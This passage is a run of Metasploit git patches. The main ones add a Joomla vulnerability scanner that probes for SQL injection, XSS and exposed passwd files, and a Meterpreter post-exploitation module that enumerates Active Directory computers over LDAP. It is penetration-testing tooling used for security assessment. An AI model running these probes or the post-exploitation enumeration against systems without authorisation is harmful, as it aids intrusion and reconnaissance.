'Joomla Scanner', + 'Version' => '$Revision: 14774 $', + 'Description' => %q{ + This module scans the Joomla install for information and potential vulnerabilites. + }, + 'Author' => [ 'f8lerror' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('PATH', [ true, "The path to the Joomla install", '/']), + OptBool.new('ENUMERATE', [ false, "Enumerate Plugins", true]), + + OptPath.new('PLUGINS', [ false, "Path to list of plugins to enumerate", + File.join(Msf::Config.install_root, "data", "wordlists", "pcheck.txt") + ] + ) + + ], self.class) + end + + def osfingerprint(response) + if(response.headers.has_key?('Server') ) + if(response.headers['Server'] =~/Win32/ or response.headers['Server'] =~ /\(Windows/ or response.headers['Server'] =~ /IIS/) + os = "Windows" + elsif(response.headers['Server'] =~ /Apache\// and response.headers['Server'] !~/(Win32)/) + os = "*Nix" + else + os = "Unknown Server Header Reporting: "+response.headers['Server'] + end + end + return os + end + def fingerprint(response, app) + + if(response.body =~ /(.+)<\/version\/?>/i) + v = $1 + out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" + elsif(response.body =~ /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/ or + response.body =~ /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/ or + response.body =~ /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/ or + response.body =~ /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/ or + response.body =~/20196 2011\-01\-09 02\:40\:25Z ian/) + out = "1.6" + elsif(response.body =~ /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley / or + response.body =~ /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/ or response.body =~ /22183 2011\-09\-30 09\:04\:32Z infograf768/ or response.body =~ /21660 2011\-06\-23 13\:25\:32Z infograf768/) + out = "1.7" + elsif(response.body =~ /Joomla! 1.5/ or + response.body =~ /MooTools\=\{version\:\'1\.12\'\}/ or response.body =~ /11391 2009\-01\-04 13\:35\:50Z ian/) + out = "1.5" + elsif(response.body =~ /Copyright \(C\) 2005 \- 2012 Open Source Matters/ or + response.body =~ /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ ) + out = "2.5" + elsif(response.body =~ /\s+ tpath, + 'method' => 'GET', + }, 5) + return if not bres or not bres.body or not bres.code + bres.body.gsub!(/[\r|\n]/, ' ') + File.open(datastore['PLUGINS'], 'rb').each_line do |bapp| + papp = bapp.chomp + plugin_search(tpath,papp,ip,bres) + end + end + + end + def check_app(tpath, app, ip) + res = send_request_cgi({ + 'uri' => tpath+app, + 'method' => 'GET', + }, 5) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + os = osfingerprint(res) + if (res.code.to_i == 200) + out = fingerprint(res,app) + return if not out + if(out =~ /Unknown Joomla/) + print_error("Unable to identify Joomla Version with this file #{app}") + return false + else + print_good("Joomla Version:#{out} from: #{app} ") + print_good("OS: #{os}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'Joomla Version', + :data => out + ) + return true + end + elsif(res.code.to_i == 403 and datastore['VERBOSE']) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + print_status("#{ip} denied access to #{url} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + print_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + print_status("#{ip} requires a SSL client certificate") + else + print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + end + + end + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE + end + def scan_pages(tpath,iapp, ip) + res = send_request_cgi({ + 'uri' => tpath+iapp, + 'method' => 'GET', + }, 5) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + if (res.code.to_i == 200) + if(res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) + sout = "Administrator Login Page" + elsif(res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) + sout = "Registration Page" + else + sout = iapp + end + return if not sout + if(sout == iapp) + print_good("#{iapp}") + elsif print_good("#{sout}: #{iapp} ") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'Joomla Pages', + :data => sout + ) + end + elsif(res.code.to_i == 403 and datastore['VERBOSE']) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + print_status("#{ip} denied access to #{url} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + print_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + print_status("#{ip} requires a SSL client certificate") + else + print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + end + end + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE + end + def plugin_search(tpath,papp, ip, bres) + res = send_request_cgi({ + 'uri' => tpath+papp, + 'method' => 'GET', + }, 5) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + osize = bres.body.size + nsize = res.body.size + if (res.code.to_i == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) + print_good("Found Plugin: #{papp} ") + if (papp =~/passwd/ and res.body !~/root/) + print_error("\tPasswd not found") + elsif(papp =~/passwd/ and res.body =~/root/) + print_good("\tPasswd file found in response") + elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body =~/SQL syntax/) + print_good("\tPossible SQL Injection") + elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body !~/SQL syntax/) + print_error("\tUnable to identify SQL injection") + elsif(papp =~/>alert/ and res.body !~/>alert/) + print_error("\tNo XSS") + elsif(papp =~/>alert/ and res.body =~/>alert/) + print_good("\tPossible XSS") + elsif(res.body =~/SQL syntax/ ) + print_error("\tPossible SQL Injection") + elsif(papp =~/com_/) + blah = papp.split('_') + blah1 = blah[1].gsub('/','') + res1 = send_request_cgi({ + 'uri' => tpath+"index.php?option=com_#{blah1}", + 'method' => 'GET', + }, 5) + if (res1.code.to_i == 200) + print_status("\tFound_page: index.php?option=com_#{blah1}") + end + end + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'Plugin Found', + :data => papp + ) + elsif(res.code.to_i == 403 and datastore['VERBOSE']) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + print_status("#{ip} denied access to #{url} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + print_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + print_status("#{ip} requires a SSL client certificate") + else + print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + end + end + + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE + end + + + +end From 4ee80e76bdffcfd4ce9decb7c64c3941bb5d9e01 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sat, 19 Jan 2013 23:15:20 +0000 Subject: [PATCH 011/129] msftidy wldap32 --- .../stdapi/railgun/def/def_wldap32.rb | 208 +++++++++--------- 1 file changed, 104 insertions(+), 104 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb index 93a26496ee..9dae48a0a8 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -1,104 +1,104 @@ -# -*- coding: binary -*- -module Rex -module Post -module Meterpreter -module Extensions -module Stdapi -module Railgun -module Def - -class Def_wldap32 - - def self.create_dll(dll_path = 'wldap32') - dll = DLL.new(dll_path, ApiConstants.manager) - - dll.add_function('ldap_sslinitA', 'DWORD',[ - ['PCHAR', 'HostName', 'in'], - ['DWORD', 'PortNumber', 'in'], - ['DWORD', 'secure', 'in'] - ]) - - dll.add_function('ldap_bind_sA', 'DWORD',[ - ['DWORD', 'ld', 'in'], - ['PCHAR', 'dn', 'in'], - ['PCHAR', 'cred', 'in'], - ['DWORD', 'method', 'in'] - ]) - - dll.add_function('ldap_search_sA', 'DWORD',[ - ['DWORD', 'ld', 'in'], - ['PCHAR', 'base', 'in'], - ['DWORD', 'scope', 'in'], - ['PCHAR', 'filter', 'in'], - ['PCHAR', 'attrs[]', 'in'], - ['DWORD', 'attrsonly', 'in'], - ['PDWORD', 'res', 'out'] - ]) - - dll.add_function('ldap_count_entries', 'DWORD',[ - ['DWORD', 'ld', 'in'], - ['DWORD', 'res', 'in'] - ]) - dll.add_function('ldap_first_entry', 'DWORD',[ - ['DWORD', 'ld', 'in'], - ['DWORD', 'res', 'in'] - ]) - - dll.add_function('ldap_next_entry', 'DWORD',[ - ['DWORD', 'ld', 'in'], - ['DWORD', 'entry', 'in'] - ]) - - dll.add_function('ldap_first_attributeA', 'DWORD',[ - ['DWORD', 'ld', 'in'], - ['DWORD', 'entry', 'in'], - ['DWORD', 'ptr', 'in'] - ]) - - dll.add_function('ldap_next_attributeA', 'DWORD',[ - ['DWORD', 'ld', 'in'], - ['DWORD', 'entry', 'in'], - ['DWORD', 'ptr', 'inout'] - ]) - - dll.add_function('ldap_count_values', 'DWORD',[ - ['DWORD', 'vals', 'in'], - ]) - - dll.add_function('ldap_get_values', 'DWORD',[ - ['DWORD', 'ld', 'in'], - ['DWORD', 'entry', 'in'], - ['PCHAR', 'attr', 'in'] - ]) - - dll.add_function('ldap_value_free', 'DWORD',[ - ['DWORD', 'vals', 'in'], - ]) - - dll.add_function('ldap_memfree', 'VOID',[ - ['DWORD', 'block', 'in'], - ]) - - dll.add_function('ber_free', 'VOID',[ - ['DWORD', 'pBerElement', 'in'], - ['DWORD', 'fbuf', 'in'], - ]) - - dll.add_function('LdapGetLastError', 'DWORD',[]) - - dll.add_function('ldap_err2string', 'DWORD',[ - ['DWORD', 'err', 'in'] - ]) - - dll.add_function('ldap_msgfree', 'DWORD', [ - ['DWORD', 'res', 'in'] - ]) - - return dll - end - -end - -end; end; end; end; end; end; end - - +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_wldap32 + + def self.create_dll(dll_path = 'wldap32') + dll = DLL.new(dll_path, ApiConstants.manager) + + dll.add_function('ldap_sslinitA', 'DWORD',[ + ['PCHAR', 'HostName', 'in'], + ['DWORD', 'PortNumber', 'in'], + ['DWORD', 'secure', 'in'] + ]) + + dll.add_function('ldap_bind_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'dn', 'in'], + ['PCHAR', 'cred', 'in'], + ['DWORD', 'method', 'in'] + ]) + + dll.add_function('ldap_search_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'base', 'in'], + ['DWORD', 'scope', 'in'], + ['PCHAR', 'filter', 'in'], + ['PCHAR', 'attrs[]', 'in'], + ['DWORD', 'attrsonly', 'in'], + ['PDWORD', 'res', 'out'] + ]) + + dll.add_function('ldap_count_entries', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'res', 'in'] + ]) + dll.add_function('ldap_first_entry', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'res', 'in'] + ]) + + dll.add_function('ldap_next_entry', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'] + ]) + + dll.add_function('ldap_first_attributeA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['DWORD', 'ptr', 'in'] + ]) + + dll.add_function('ldap_next_attributeA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['DWORD', 'ptr', 'inout'] + ]) + + dll.add_function('ldap_count_values', 'DWORD',[ + ['DWORD', 'vals', 'in'], + ]) + + dll.add_function('ldap_get_values', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['PCHAR', 'attr', 'in'] + ]) + + dll.add_function('ldap_value_free', 'DWORD',[ + ['DWORD', 'vals', 'in'], + ]) + + dll.add_function('ldap_memfree', 'VOID',[ + ['DWORD', 'block', 'in'], + ]) + + dll.add_function('ber_free', 'VOID',[ + ['DWORD', 'pBerElement', 'in'], + ['DWORD', 'fbuf', 'in'], + ]) + + dll.add_function('LdapGetLastError', 'DWORD',[]) + + dll.add_function('ldap_err2string', 'DWORD',[ + ['DWORD', 'err', 'in'] + ]) + + dll.add_function('ldap_msgfree', 'DWORD', [ + ['DWORD', 'res', 'in'] + ]) + + return dll + end + +end + +end; end; end; end; end; end; end + + From 771baa3181f71bdb077bd4de5105b8c2649ded82 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sat, 19 Jan 2013 23:23:45 +0000 Subject: [PATCH 012/129] Added x64 check and options to info --- .../post/windows/gather/enum_ad_computers.rb | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index caf0278fd2..65bd062e4b 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -18,6 +18,18 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Gather AD Enumerate Computers', 'Description' => %q{ This module will enumerate computers in the default AD directory. + + Optional Attributes: + objectClass, cn, description, distinguishedName, instanceType, whenCreated, + whenChanged, uSNCreated, uSNChanged, name, objectGUID, + userAccountControl, badPwdCount, codePage, countryCode, + badPasswordTime, lastLogoff, lastLogon, localPolicyFlags, + pwdLastSet, primaryGroupID, objectSid, accountExpires, + logonCount, sAMAccountName, sAMAccountType, operatingSystem, + operatingSystemVersion, operatingSystemServicePack, serverReferenceBL, + dNSHostName, rIDSetPreferences, servicePrincipalName, objectCategory, + netbootSCPBL, isCriticalSystemObject, frsComputerReferenceBL, + lastLogonTimestamp, msDS-SupportedEncryptionTypes }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell ' ], @@ -39,6 +51,11 @@ class Metasploit3 < Msf::Post end def run + if sysinfo["Architecture"] =~ /x64/i + print_error("Does not work in x64 see: http://dev.metasploit.com/redmine/issues/7639"); + return + end + print_status("Connecting to default LDAP server") session_handle = bind_default_ldap_server From 567185ec6583c69c0c6aa82f846b6abab93c4539 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 20 Jan 2013 00:19:17 +0000 Subject: [PATCH 013/129] Better cleanup and address comments --- .../stdapi/railgun/def/def_wldap32.rb | 3 + .../post/windows/gather/enum_ad_computers.rb | 64 +++++++++++-------- 2 files changed, 40 insertions(+), 27 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb index 9dae48a0a8..6716b24f95 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -94,6 +94,9 @@ class Def_wldap32 ['DWORD', 'res', 'in'] ]) + dll.add_function('ldap_unbind', 'DWORD', [ + ['DWORD', 'ld', 'in'] + ]) return dll end diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 65bd062e4b..3c923875a9 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -51,39 +51,32 @@ class Metasploit3 < Msf::Post end def run - if sysinfo["Architecture"] =~ /x64/i - print_error("Does not work in x64 see: http://dev.metasploit.com/redmine/issues/7639"); + unless session.platform == "x64/win64" + print_error("Does not work in x86 see: http://dev.metasploit.com/redmine/issues/7639"); return end print_status("Connecting to default LDAP server") session_handle = bind_default_ldap_server - if session_handle == 0 - return - end + return false unless session_handle print_status("Querying default naming context") - defaultNamingContext = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])[0]['attributes'][0]['values'] + + query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"]) + first_entry_attributes = query_result[0]['attributes'] + defaultNamingContext = first_entry_attributes[0]['values'] # Value from First Attribute of First Entry + print_status("Default Naming Context #{defaultNamingContext}") attributes = datastore['ATTRIBS'].split(',') - #attributes = [ 'objectClass','cn', 'description', 'distinguishedName','instanceType','whenCreated', - # 'whenChanged','uSNCreated','uSNChanged','name','objectGUID', - # 'userAccountControl','badPwdCount','codePage','countryCode', - # 'badPasswordTime','lastLogoff','lastLogon','localPolicyFlags', - # 'pwdLastSet','primaryGroupID','objectSid','accountExpires', - # 'logonCount','sAMAccountName','sAMAccountType','operatingSystem', - # 'operatingSystemVersion','operatingSystemServicePack','serverReferenceBL', - # 'dNSHostName','rIDSetPreferences','servicePrincipalName','objectCategory', - # 'netbootSCPBL','isCriticalSystemObject','frsComputerReferenceBL', - # 'lastLogonTimestamp','msDS-SupportedEncryptionTypes' - # ] - print_status("Querying computer objects - Please wait...") results = query_ldap(session_handle, defaultNamingContext, 2, "(objectClass=computer)", attributes) + print_status("Unbinding from LDAP service.") + wldap32.ldap_unbind(session_handle) + results_table = Rex::Ui::Text::Table.new( 'Header' => 'AD Computers', 'Indent' => 1, @@ -108,7 +101,7 @@ class Metasploit3 < Msf::Post print_line results_table.to_s if datastore['STORE'] - stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_s) + stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) print_status("Results saved to: #{stored_path}") end end @@ -124,15 +117,17 @@ class Metasploit3 < Msf::Post if session_handle == 0 print_error("Unable to connect to LDAP server") - return 0 + wldap32.ldap_unbind(session_handle) + return false end vprint_status ("Binding to LDAP server.") - bind = wldap32.ldap_bind_sA(session_handle, nil, nil, 0x0486)['return'] #LDAP_AUTH_NEGOTIATE + bind = wldap32.ldap_bind_sA(session_handle, nil, nil, 0x0486)['return'] #LDAP_AUTH_NEGOTIATE 0x0486 if bind != 0 print_error("Unable to bind to LDAP server") - return 0 + wldap32.ldap_unbind(session_handle) + return false end return session_handle @@ -150,6 +145,13 @@ class Metasploit3 < Msf::Post end search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return'] + + if(search_count == 0) + print_error("No entries retrieved") + wldap32.ldap_msgfree(search['res']) + return + end + print_status("Entries retrieved: #{search_count}") vprint_status("Retrieving results...") @@ -163,15 +165,22 @@ class Metasploit3 < Msf::Post max_search = [datastore['MAX_SEARCH'], search_count].min end - # user definied limit on entries to search? - for i in 0..(max_search-1) + 0.upto(max_search - 1) do |i| print '.' - if i==0 - entries[i] = wldap32.ldap_first_entry(session_handle, search['res'])['return'] + if(i==0) + entries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return'] else entries[i] = wldap32.ldap_next_entry(session_handle, entries[i-1])['return'] end + + if(entries[i] == 0) + print_error("Failed to get entry.") + wldap32.ldap_unbind(session_handle) + wldap32.ldap_msgfree(search['res']) + return + end + vprint_status("Entry #{i}: #{entries[i]}") attribute_results = [] @@ -191,7 +200,7 @@ class Metasploit3 < Msf::Post if count < 1 vprint_error("Bad Value List") else - for j in 0..(count-1) + 0.upto(count - 1) do |j| p_value = client.railgun.memread(pp_value+(j*4), 4).unpack('V*')[0] vprint_status "p_value: 0x#{p_value.to_s(16)}" value = read_value(p_value) @@ -209,6 +218,7 @@ class Metasploit3 < Msf::Post if pp_value != 0 vprint_status("Free value memory.") wldap32.ldap_value_free(pp_value) + # wldap32.ldap_memfree(attr) No need to free attributes as these are hardcoded end attribute_results << {"name" => attr, "values" => value_results} From dcaf2abc53b92537236c2ade043f198c966b4099 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 20 Jan 2013 00:22:30 +0000 Subject: [PATCH 014/129] Better feedback for x86 --- modules/post/windows/gather/enum_ad_computers.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 3c923875a9..7909ee8966 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post def run unless session.platform == "x64/win64" - print_error("Does not work in x86 see: http://dev.metasploit.com/redmine/issues/7639"); + print_error("Does not work in x86 meterpreter (use x64 instead) see: http://dev.metasploit.com/redmine/issues/7639"); return end From 5cfe58e8d508d2889deb808c9e0c9c3f2c4a4a75 Mon Sep 17 00:00:00 2001 From: f8lerror Date: Sun, 20 Jan 2013 22:33:04 -0500 Subject: [PATCH 015/129] General code review and corrections --- .../auxiliary/scanner/http/joomla_vulnscan.rb | 81 ++++++++++--------- 1 file changed, 43 insertions(+), 38 deletions(-) diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index c8cbfbae27..37bfc3d173 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -20,9 +20,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Joomla Scanner', - 'Version' => '$Revision: 14774 $', 'Description' => %q{ - This module scans the Joomla install for information and potential vulnerabilites. + This module scans a Joomla install for information and potential vulnerabilites. }, 'Author' => [ 'f8lerror' ], 'License' => MSF_LICENSE @@ -40,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def osfingerprint(response) + def osfingerprint (response) if(response.headers.has_key?('Server') ) if(response.headers['Server'] =~/Win32/ or response.headers['Server'] =~ /\(Windows/ or response.headers['Server'] =~ /IIS/) os = "Windows" @@ -51,8 +50,9 @@ class Metasploit3 < Msf::Auxiliary end end return os - end - def fingerprint(response, app) + end + + def fingerprint (response, app) if(response.body =~ /(.+)<\/version\/?>/i) v = $1 @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary return out end - def run_host(ip) + def run_host (ip) tpath = datastore['PATH'] if tpath[-1,1] != '/' tpath += '/' @@ -102,12 +102,12 @@ class Metasploit3 < Msf::Auxiliary apps.each do |app| break if check_app(tpath,app,ip) end - print_status("Scanning for interesting pages") + print_status("Scanning #{ip} for interesting pages") iapps.each do |iapp| scan_pages(tpath,iapp,ip) end if datastore['ENUMERATE'] - print_status("Scanning for plugins") + print_status("Scanning #{ip} for plugins") bres = send_request_cgi({ 'uri' => tpath, 'method' => 'GET', @@ -118,12 +118,13 @@ class Metasploit3 < Msf::Auxiliary papp = bapp.chomp plugin_search(tpath,papp,ip,bres) end - end - end - def check_app(tpath, app, ip) + + end + + def check_app (tpath, app, ip) res = send_request_cgi({ - 'uri' => tpath+app, + 'uri' => "#{datastore['PATH']}" << app, 'method' => 'GET', }, 5) return if not res or not res.body or not res.code @@ -159,13 +160,14 @@ class Metasploit3 < Msf::Auxiliary end end - rescue OpenSSL::SSL::SSLError - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - rescue ::Timeout::Error, ::Errno::EPIPE + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE end - def scan_pages(tpath,iapp, ip) + + def scan_pages (tpath, iapp, ip) res = send_request_cgi({ - 'uri' => tpath+iapp, + 'uri' => "#{datastore['PATH']}" << iapp, 'method' => 'GET', }, 5) return if not res or not res.body or not res.code @@ -201,13 +203,14 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") end end - rescue OpenSSL::SSL::SSLError - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - rescue ::Timeout::Error, ::Errno::EPIPE + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE end - def plugin_search(tpath,papp, ip, bres) + + def plugin_search (tpath, papp, ip, bres) res = send_request_cgi({ - 'uri' => tpath+papp, + 'uri' => "#{datastore['PATH']}" << papp, 'method' => 'GET', }, 5) return if not res or not res.body or not res.code @@ -217,30 +220,32 @@ class Metasploit3 < Msf::Auxiliary if (res.code.to_i == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) print_good("Found Plugin: #{papp} ") if (papp =~/passwd/ and res.body !~/root/) - print_error("\tPasswd not found") + print_error("Passwd not found") elsif(papp =~/passwd/ and res.body =~/root/) - print_good("\tPasswd file found in response") + print_good("Passwd file found in response") elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body =~/SQL syntax/) - print_good("\tPossible SQL Injection") + print_good("Possible SQL Injection") elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body !~/SQL syntax/) - print_error("\tUnable to identify SQL injection") + print_error("Unable to identify SQL injection") elsif(papp =~/>alert/ and res.body !~/>alert/) - print_error("\tNo XSS") + print_error("No XSS") elsif(papp =~/>alert/ and res.body =~/>alert/) - print_good("\tPossible XSS") + print_good("Possible XSS") elsif(res.body =~/SQL syntax/ ) - print_error("\tPossible SQL Injection") + print_good("Possible SQL Injection") elsif(papp =~/com_/) - blah = papp.split('_') - blah1 = blah[1].gsub('/','') + vars = papp.split('_') + pages = vars[1].gsub('/','') res1 = send_request_cgi({ - 'uri' => tpath+"index.php?option=com_#{blah1}", + 'uri' => "#{datastore['PATH']}"<<"index.php?option=com_#{pages}", 'method' => 'GET', }, 5) if (res1.code.to_i == 200) - print_status("\tFound_page: index.php?option=com_#{blah1}") - end + print_good("Found Page: index.php?option=com_#{pages}") + else + print_error("#{datastore['PATH']}"<<"index.php?option=com_#{pages} gave a #{res1.code.to_s} response") end + end report_note( :host => ip, :port => datastore['RPORT'], @@ -257,12 +262,12 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip} requires a SSL client certificate") else print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") - end end + end - rescue OpenSSL::SSL::SSLError - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - rescue ::Timeout::Error, ::Errno::EPIPE + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE end From fed4a836c634323c841ae1e127fec2cb6a8c2b26 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Tue, 22 Jan 2013 20:29:57 +0200 Subject: [PATCH 016/129] Updated proof string for Web Differential Analysis Manipulatable responses => Boolean manipulation --- lib/msf/core/auxiliary/web/analysis/differential.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index 7ba764ed5c..ee3c0c8aea 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -122,7 +122,7 @@ module Analysis::Differential http.if_not_custom_404( action, res['res'].body ) do # if this isn't a custom 404 page then it means that # the element is vulnerable, so go ahead and log the issue - fuzzer.process_vulnerability( res['elem'], 'Manipulatable responses.', + fuzzer.process_vulnerability( res['elem'], 'Boolean manipulation.', :payload => res['elem'].altered_value ) end end From f2beb5bf19ffbc28f6c41b05d0cf801a0aa29f10 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Tue, 22 Jan 2013 23:39:16 +0200 Subject: [PATCH 017/129] Auxiliary::Web#process_vulnerability: payload fix Updated to pick the largest matching payload from the payload list. --- lib/msf/core/auxiliary/web.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index b91b7536f1..a707e6a4ae 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -250,7 +250,9 @@ module Auxiliary::Web if !(payload = opts[:payload]) if payloads - payload = payloads.select{ |p| element.altered_value.include?( p ) }.first + payload = payloads. + select { |p| element.altered_value.include?( p ) }. + sort_by { |p| p.size }.last end end From 0d564c1ce8ac0578bfb2cf582aced1d7e71cdaa7 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Tue, 22 Jan 2013 23:40:30 +0200 